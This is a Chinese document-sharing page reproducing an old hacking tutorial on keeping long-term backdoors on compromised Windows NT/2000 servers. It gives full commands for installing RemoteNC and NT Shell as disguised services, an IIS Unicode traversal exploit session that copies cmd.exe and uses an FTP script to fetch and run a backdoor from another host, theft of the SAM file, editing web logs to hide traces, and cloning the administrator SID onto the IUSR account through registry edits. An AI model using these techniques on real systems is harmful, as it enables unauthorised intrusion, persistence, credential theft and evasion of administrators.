收藏 分享(赏)

做尽可能久的后门.doc

上传人:11xg27ws 文档编号:8707394 上传时间:2019-07-08 格式:DOC 页数:27 大小:61KB
下载 相关 举报
做尽可能久的后门.doc_第1页
第1页 / 共27页
做尽可能久的后门.doc_第2页
第2页 / 共27页
做尽可能久的后门.doc_第3页
第3页 / 共27页
做尽可能久的后门.doc_第4页
第4页 / 共27页
做尽可能久的后门.doc_第5页
第5页 / 共27页
点击查看更多>>
资源描述

1、做尽可能久的后门一、利用长久服务: 前段时间做了一些肉鸡做跳板,辛辛苦苦上传了很多文件,但使用不到几天就被K 了,漏洞也补上了,后来干脆不用跳板了!结果警告来了!痛定思痛!如何在肉鸡上留下后门达到长期使用的目的呢?今天早上在网上找了一早,也没有找出什么有用的东西!还是自己动手吧!我门通常使用nc,ncx,netcat 等东西来开后门,但这些后门只是临时的, ,主要用于得到 Admin 权限,能不能留下长期的后门呢?能! 我在这里介绍的只是如何制作后门,不打算介绍如何得到 Admin 权限!至于如何得到 Admin,方法很多!U,SQL,溢出、ipc 管道、暴力单有一点是肯定的,要留后门,必须有

2、 Admin 权限。 我打算介绍用两种方法,确切的说是用两个软件! 第一:用小榕的 remotenc。第二,用 NT Shell 1.0 Beta,这两个软件的共同点是都能作为服务运行在远端服务器上!我使用下来感觉差不多!不过 ntshell 的功能远不止开后门,呵呵!很强大的工具!可以得到 asp 文件!这对想破江湖的人可是 再强调一点,one:太容易进入的主机不要作自己的跳板(除非你进去后留下后门把漏洞给补上)two:速度太慢和小型 http 服务器不要作自己的跳板。three:进入得到 Admin 权限后接下来要作的事:留后门做代理(就是 snake 的那个)补漏洞 以上三点属个人意见,

3、供参考! 好了,说了半天的废话,我们开始用小榕的 remotenc 做我们的第一个跳板! 假设我们已经得到 192.168.0.1 的 admin 权限,user:hack password:123,并且192.168.0.1 支持 ipc$远程连接!(呵呵!废话!不能连接怎么作跳板!)在自己 c:hack 下有 remotenc,好,开始 c:hackremotenc 192.168.0.1 hack 123 runasuser “RemoteNC“ “Provide Local CMD Redirect“ 7 91888 解释: remotenc 目标主机 用户名 密码 启动模式 “服务名

4、称“ “服务说明“ 监听的端口 控制密码 /overwrite(注:可以不加该参数) 其中: 用户名必须是 admin 权限 启动模式有 runasuser 和 localsystem 两种(建议用 runasuser 模式,如果 runasuser 模式失败就用 localsystem 模式) 服务说明是启动后显示在服务管理器中的说明,为了迷惑管理员,建议不要用“hack”之类 监听的端口是 remotenc 作为服务启动以后开的监听端口,可以是7、8 等,但不要是 21、23、25、80 等 控制密码:你 telnet(或者 ntshell)到监听端口后需要的密码,也就是你对 remote

5、nc 的控制密码。 (这里就不要要了哈!别这么小气三) /overwrite 覆盖已经安装的 remotenc(不要覆盖我的哈) 回车后出现如下信息: =RemoteNC Beta 4, Written by Assassin 2001= http:/Xhttp:/Xeyes.org Install Service as RunasUser Mode Connecting 192.160.0.1 . Done. Transffer File . Done. Start Service . Done. Now You can Telnet 192.168.0.1 to Connect, Have

6、 a Joy 也可能出现: =RemoteNC Beta 4, Written by Assassin 2001= http:/Xhttp:/Xeyes.org Install Service as RunasUser Mode Connecting 192.168.0.1 . Done. Transffer File . Done. Start Service . Service Exsited,1206Failed. 这是启动服务失败 这是可以把安装模式换为 localsystem,即 c:hackremotenc 192.168.0.1 hack 123 localsystem “Rem

7、oteNC“ “Provide Local CMD Redirect“ 7 91888 就能安装成功! 如果出现第一中情况,祝贺你,然后 Microsoft Telnet open 192.168.0.1 7 正在连接到 192.168.0.1 7. 然后出现: RemoteNC Control Password:(这里输入你的控制密码 91888) 然后出现: RemoteNC Control Password: * =Banyet Soft Labs. 1995-2001 All RightsReserved.= =Written by Assassin, Server EditionFl

8、uxS= Microsoft Windows 2000 5.00.2195 RemoteNC 哈哈,可以添加用户了!net 命令就不用说了哈(即使 hack 123 的账户被 K 了,仍然可以 telnet 到 7 在 remotenc 下添加用户,只要他不发现在服务管理器中的 Provide Local CMD Redirect,你就一直都有自己的账户!)拷贝必要的文件上去!twwwscan 等(注意隐蔽) ,或者 fshttp,fspop 也加上去,哈哈真的很爽!也可作成自己的 sock5代理。 添加完用户,启动他的 telnet 服务如果没有启动的话) ,又可以继续运行你的 twwwac

9、an 等东西了! 第二种方法,利用 NT Shell 1.0 Beta 为了讲述 ntshell 的详细用法,我详细讲述 一、ntshell 分为客户端和服务端!服务端的名称为 ntshell.exe,客户端 ntshellc.exe 二、ntshell 的语法: 内建的命令都是以?开头,在命令行上输入?help可以查看命令帮助列表,命令不分大小写。共有以下几个命令,其中由于标准的 telnet 不支持文件传输,因此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前一个 get,put,httpget 命令

10、没完成,就不能再执行这 3 个命令中的任意一个) ,这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如果有必要,以后可以考虑。 ?autorun name file “args“ - 将本程序添加到自动运行,将检查所有已知位 置(先是注册表) ;name 是一个项名,file 是程序名(当然也可以是其他 程序) ,args 是程序的参数列表,一定要用“括起来。缺省是NTKernel ntshell.exe “-w 10“。 ?canceldata - 终止刚才传输的文件 ?chdir - 更改服务器的当前目录,不加参数查看当前目录,可以是网上邻居中的共享 ?get port

11、 - 从服务器下载文件,可以指定使用服务器使用port端口传输 ?help - 查看命令帮助列表 ?httpget - 从 host主机上下载文件 url, 必须以根/开始 例如 httpgethttp:/192.168.0.1 / hackdir/hackprog.exe,可以没有 http:/ ?pskill PID - 杀死指定 PID 的进程 ?pslist - 列出当前系统中的所有进程,如果是 guests 组可能很多进程不能获得详细信息 ?put port - 上传文件到服务器,可以指定使用服务器使用port端口传输 ?quit - 服务器端退出,相当于使用 exit 命令,不过如

12、果执行 了 copy con abc 这样的坏内部命令,你就不能在使用 exit 命令 了,可以使用 quit 退出 ?restart pass- 以 user 身份重启动 shell,不过本版本只能重起 shell,不能以指定的用户运行。原因是使用 CreateProcessAsUser创建进 程时权限不足,即使原来是 admin 也不行 ?sysinfor - 获得系统的信息,现在只有 os 的简短信息 程序支持的参数为(使用?use参数可以查看该列表,不使用/?或-?来实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟了) ntshell -listen Listen

13、port -time Timeout -pass Password -show -wait WInterval -until time -last LInterval -listen Listenport - 指定监听的端口,缺省值是 22 -time Timeout - 指定超时的秒数,缺省值是 180 -pass Password - 指定连接的口令,如果含有空格,使用“ “包含口 令; 缺省值是“let me in“ -show -显示一个 console 窗口,用户可以通过关闭该窗口结束本程序 -wait WInterval -在程序运行后,先等待 WInterval 分钟,然后监听端

14、口 -until hour:minu - 在程序运行后,直到 hour:minu 时才监听端口 -last LInterval - 在程序监听端口后,如果 LInterval 分钟内没有连接,将 结束程序 最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进程 三、ntshellc 的用法: 在没有连接的情况下,提示符是 NTShellc,此时可以使用以下的3 个内建命令,命令均为小写。命令可以简写。 help - 显示支持的命令列表 open port - 与 target 的 port 进行连接,port缺省值是 22 quit - 退出本程序 程序支持的两个参数,可以使

15、用标准的/?参数查看该列表。如果不提供参数将进入 NTShellc提示符,然后可以使用 open 命令进行连接。 ntshellc Target Port Target - 要连接的服务器 Port - 要连接的端口 四、实例 -NTShell 使用示例 本示例仅为示范 NTShell 的功能与语法,因此使用 unicode 漏洞进行攻击试验。其中以/开头的行是我的注释,其他的是程序的输出。 /在本机运行客户端, F:hacktoolntshellntshellc NtShell Client Program. Type Help to see the commands /连接目标计算机的 w

16、ww 服务 NTShellco 192.168.0.1 80 Connect to 192.168.0.1 at Port 80 . Connected with the server. /请求一个已知的文件 GET /iissamples/default%c1%1csamples.asp /HTTP/1.0 /找不到文件,IIS4.0,应该是%1%9c, HTTP/1.1 404 找不到对象 Server: Microsoft-IIS/4.0 Date: Sat, 10 Feb 2001 15:08:26 GMT /再来, NTShellco 192.168.0.1 80 Connect t

17、o 192.168.0.1 at Port 80 . Connected with the server. GET /iissamples/default%c1%9csamples.asp HTTP/1.0 /行了,找到了, HTTP/1.1 200 OK /下面要试试,哪些 web 目录在和系统在同一个逻辑盘上 GET /scripts/%c1%9c/%c1%9c/winnt/system32/cmd.exe?/c+dir /找到了,就用它了 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Directory of C:Inetpubscripts 01-

18、01-09 02:58p . 01-01-09 02:58p 00-08-28 05:30p proxy 00-08-28 05:30p tools 4 File(s) 241,424 bytes 850,3XX,416 bytes free Connection closed NTShellco 192.168.0.1 80 /拷贝 cmd.exe GET /scripts/%c1%9c/%c1%9c/winnt/system32/cmd.exe?/c+copy+winntsystem3 2cmd.exe+dmc.exe /不理它, 1 file(s) copied. 没有访问拒绝就行 HT

19、TP/1.1 502 网关错误 Server: Microsoft-IIS/4.0 Date: Wed, 07 Feb 2001 09:47:20 GMT Content-Length: 190 Content-Type: text/html CGI 运用程序中出错 CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正 常。它返回的标题是: 1 file(s) copied. Connection closed /下面就方便了,赶紧把 ntshell 上传, 就使用 ftp 脚本吧, GET /scripts/dmc.exe?/c+echo+open+192.168

20、.0.45ftp.bin GET /scripts/dmc.exe?/c+dir GET /scripts/dmc.exe?/c+echo+anonymousftp.bin GET /scripts/dmc.exe?/c+echo+testtestftp.bin GET /scripts/dmc.exe?/c+echo+binaryftp.bin-/一定要有这步,不然有的运行不正常 GET /scripts/dmc.exe?/c+echo+get+ntshell.exeftp.bin GET /scripts/dmc.exe?/c+echo+quitftp.bin /看看文件内容写的对不对,

21、GET /scripts/dmc.exe?/c+type+ftp.bin HTTP/1.1 502 网关错误 Server: Microsoft-IIS/4.0 Date: Wed, 07 Feb 2001 14:57:14 GMT Content-Length: 232 Content-Type: text/html CGI 运用程序中出错 CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题而运行不正 常。它返回的标题是:open 192.168.0.45 anonymous testtest get ntshell.exe quit Connection closed

22、/好的,执行 ftp GET /scripts/dmc.exe?/c+ftp+-s:ftp.bin GET /scripts/dmc.exe?/c+dir Directory of C:Inetpubscripts 01-02-07 10:58p . 01-02-07 10:58p 98-11-11 04:04a 241,424 dmc.exe 01-02-08 12:24a XX ftp.bin 01-02-08 12:25a 53,248 ntshell.exe 00-08-28 05:30p proxy 00-08-28 05:30p tools 7 File(s) 294,736 by

23、tes 854,074,368 bytes free /执行 ntshell, GET /scripts/ntshell.exe HTTP/1.0 /ctrl+c 结束这个连接,退出程序。 /再次进入 F:hacktoolntshellntshellc NTShellco 192.168.0.1 Connect to 192.168.0.1 at Port 22 . Connected with the server. let me in Use net helpmsg xxx to see detail message of Error Code. Microsoft(R) Windows

24、NT(TM) (C) Copyright 1985-1996 Microsoft Corp. /看看它的系统, C:Inetpubscripts?sysinfor # Operation System is Windows NT 4.0, # Build Number:1381 # Service Pack 4 /nt4+sp4 的,去看看 log 文件 C:Inetpubscriptscd c:winntsystem32logfiles C:WINNTsystem32LogFilescd w3svc1 cd w3svc1 拒绝访问。 /得,还没的看,以后再说吧; C:WINNTsystem3

25、2cd repair C:WINNTrepairdir 00-03-31 09:15p 3,544 sam._ /虽然有用的可能性很小,不过还是那回来试试吧, C:WINNTsystem32?get winntrepairsam._ download file sam._ 3544 bytes complete success. /看看它都运行了什么程序, C:WINNTsystem32?pslist # EnableDebugPrivileges Error, Code:1300 Process ID: 2 Query Process Detail infor Error Process I

26、D: 25 Query Process Detail infor Error Process ID: 33 Query Process Detail infor Error . Process ID: 565 Query Process Detail infor Error Process ID: 572 C:Inetpubscriptsntshell.exe Process ID: 466 C:WINNTSystem32cmd.exe # Total 42 processes in system. /喔赛,都看不了,还有个 1300 是什么错误?用 net 看看 C:WINNTsystem3

27、2net helpmsg 1300 net helpmsg 1300 并非所有被引用的特权都分配给调用者。 /看来 guest 的权限实在太小了,好在知道 ntshell 和它的 cmd 进程 id,不行了可以杀 C:Inetpubscripts?help #?autorun name file “args“ - add the file to autorun when reboot, file default is ntshell.exe /可以自动运行,要试试, C:Inetpubscriptstime time 当前时间: 5:33:27.32 输入新时间: /它的时间和我的差不多,行了

28、 C:Inetpubscripts?autorun ntshelld ntshell.exe “-until 2:00 -pass “a b c“ -last 60“ # file C:Inetpubscriptsntshell.exe has added to autorun at C:WINNTProfilesAll Users开始菜单程序启动ntshelld.lnk /看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,好了,等着系统重起动吧 /(一定注意参数作为一个字符串,使用“ “括起来,不然可能就不对了。这个参数的意思是“程序/运行后,直到夜里 2 点开始监听连接,持

29、续60 分钟,连接后使用 a b c 作为口令” ) C:Inetpubscriptsdel ftp.bin C:Inetpubscriptsexit NTShellcq /破解完了 sam._,用里边的密码进行,net use 无效,看来这个密码文件没什么用了, /过两天在夜里 2 点到 3 点之间进行连接,看看成功否 NTShellco 192.168.0.1 Connect to 192.168.0.1 at Port 22 . Connected with the server. /连上了,ok a b c C:cd winntsystem32logfiles C:WINNTsyste

30、m32LogFilescd w3svc1 C:WINNTsystem32LogFilesW3SVC1?get C:WINNTsystem32LogFilesW3SVC1ex010205.log /把记录改改,再给他 put 回去 C:WINNTsystem32LogFilesW3SVC1?put ex010205.log /好了,这台机器行了,在加个 admin 组的用户, /把 ntshell 的客户端拿过来,再看看其他机器, C:WINNTsystem32LogFilesW3SVC1cd inetpubscripts C:Inetpubscripts?put ntshellc.exe /运

31、行它, C:Inetpubscriptsntshellc NTShellco 192.168.0.45 80 Connect to 192.168.0.45 at Port 80 . Connected with the server. GET / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location:http:/192.168.0.45/index.html /嗯,是台 win2k+iis5, 如发炮制。 NTShellcNTShellcq C:Inetpubscripts /想办法上传 ntshell,并运行

32、它,然后运行 ntshellc 进行连接 C:Inetpubscriptsntshellc NTShellcNTShellco 192.168.0.45 Connect to 192.168.0.45 at Port 22 . Connected with the server. D:InetpubScriptscd cd /取看看 log 文件,是我连接的,还是 192.168.0.1 D:cd winntsystem32logfiles cd winntsystem32logfiles D:WINNTsystem32LogFiles D:WINNTsystem32LogFilescd w3

33、svc1 D:WINNTsystem32LogFilescd w3svc1 D:WINNTsystem32LogFilesW3SVC1D:WINNTsystem32LogFilesW3SVC1type ex010208.log D:WINNTsystem32LogFilesW3SVC1type ex010208.log #Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 2001-02-08 02:04:40 #Fields: time c-ip cs-method cs-uri-stem sc

34、-status 10:11:34 192.168.0.1 GET /index.html 200 D:WINNTsystem32LogFilesW3SVC1time time 当前时间: 10:18:42.97 输入新时间: D:WINNTsystem32LogFilesW3SVC1exit exit Connection closed NTShellcNTShellc /ok, telnet 跳板基本还可以,就是有时输出重复,一般一个命令得回车两次 二、克隆帐号 1.经常看到一些人在入侵一台 Windows 2000 或者 Windows NT 后堂而皇之地创建一个管理员组的用户,似乎当管理

35、员不存在一般,今天偶违背一下偶以前的初衷,Share 一个类似于 RootKit 的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。 首先要让大家知道的概念是在 Windows 2000 和 Windows NT 里,默认管理员帐号的SID 是固定的 500(0x1f4) ,那么我们可以用机器里已经存在的一个帐号将 SID 为500 的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了) ,测试环境为 Windows 2000 Serve

36、r。 运行一个 System 的 CMD Shell( http:/ 或使用 Http:/ CMD Shell 里面运行 regedit /e adam.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4 这样我们将 SID 为 500 的管理员帐号的相关信息导出,然后编辑adam.reg 文件,将 adam.reg 文件的第三行-HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4最后的“1F4“修改为 IUSR_MachineName 的 SID(大部分的机器该用户的 SID 都为

37、 0x3E9,如果机器在最初安装的时候没有安装 IIS,而自己创建了帐号后再安装 IIS 就有可能不是这个值) ,将 Root.reg 文件中的“1F4“修改为“3E9“后执行 regedit /s adam.reg 导入该 Reg 文件 然后运行 net user IUSR_MachineName Sometips 修改 IUSR_MachineName 的密码(最好使用 14 位的密码,越像IUSR_MachineName 的密码越好) OK,大功告成. 这样,我们拥有和默认管理员一样的桌面、一样的 Profile. 而且,当我们运行 net localgroup administrato

38、rs 时,看看结果:C:net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members - Administrator The command completed successfully. 再看看 USER2SID 的输出结果: C:user2sid Administrator S-1-5-21-1004336348-1078145449-854245398-50

39、0 Number of subauthorities is 5 Domain is IDONTKNOW Length of SID in memory is 28 bytes Type of SID is SidTypeUser C:user2sid iusr_machinename S-1-5-21-1004336348-1078145449-854245398-1001 Number of subauthorities is 5 Domain is IDONTKNOW Length of SID in memory is 28 bytes Type of SID is SidTypeUse

40、r 我想,再高明的管理员也看不到任何的异状了.而且,随便管理员改成什么密码,我照样可以用 IUSR_MachineName,密码为 Sometips 登陆.(没有哪位大侠级的管理员喜欢经常修改 IUSR_MachineName 为其他的名字吧) 很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName 被提升了权限。 现给出解决办法。 方法同上,不过这次修改内容多一些。即 这次要导出两个 key 内容: 一个是 adam 提到的 regedit /e adam.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4

41、然后另外一个是你需要修改那个账号的值 regedit /e iusr.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000003E9 然后按照 adam 提到的修改 adam.reg “将 adam.reg 文件的第三行-HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4最后的“1F4“修改为 IUSR_MachineName 的 SID” 现在,你还要从 iusr.reg 文件中复制一下内容 就是将 iusr.reg 文件中“V“=hex:0”开始一直到 iusr.reg 文件结束部分复制下来

42、 然后替换掉 adam.reg 中同样位置的部分 最后使用 regedit /s adam.reg 导入该 Reg 文件 呵呵,别忘了给这个 IUSR_MachineName 改密码哦。 hehe,ok,大功告成。 现在 IUSR_MachineName 账号拥有了管理员的权限,但是你使用net.exe 和 管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。 都和修改前没有任何区别。 2.利用 CA.exe: http:/ 利用 SA.exe 将 Iusr_victim 克隆为 Administrator。 C:ca 192.168.0.1 test test iusr_v

43、ictim password Clone Administrator, by netXeyes 2002/04/06 Written by netXeyes 2002, Connect 192.168.0.1 OK Get SID of iusr_victim OK Prepairing OK Processing OK Clean Up OK 这时,iusr_victim 就成为了超级用户,并有具有和 Administrator同样的设置(桌面、菜单等等) 。 - 用 CCA.EXE 检查是否存在克隆的帐号。 不必改变 ACL, 支持远程检查。 C:cca 192.168.0.29 adm

44、inistrator 123456 Check Clone Account, by netXeyes 2002/04/29 Written by netXeyes 2002, Connect 192.168.0.29 OK Prepairing OK Processing OK Checking Check Result: DuDu AS SAME AS administrator Guest AS SAME AS administrator IUSR_RONG AS SAME AS administrator IWAM_RONG AS SAME AS administrator TEST AS SAME AS administrator xr AS SAME AS administrator Guest AS SAME AS DuDu IUSR_RONG AS SAME AS DuDu 这上面的 DuDu,guest,IUSR_RONG 等帐户就已经是被克隆为administrator

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 企业管理 > 管理学资料

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报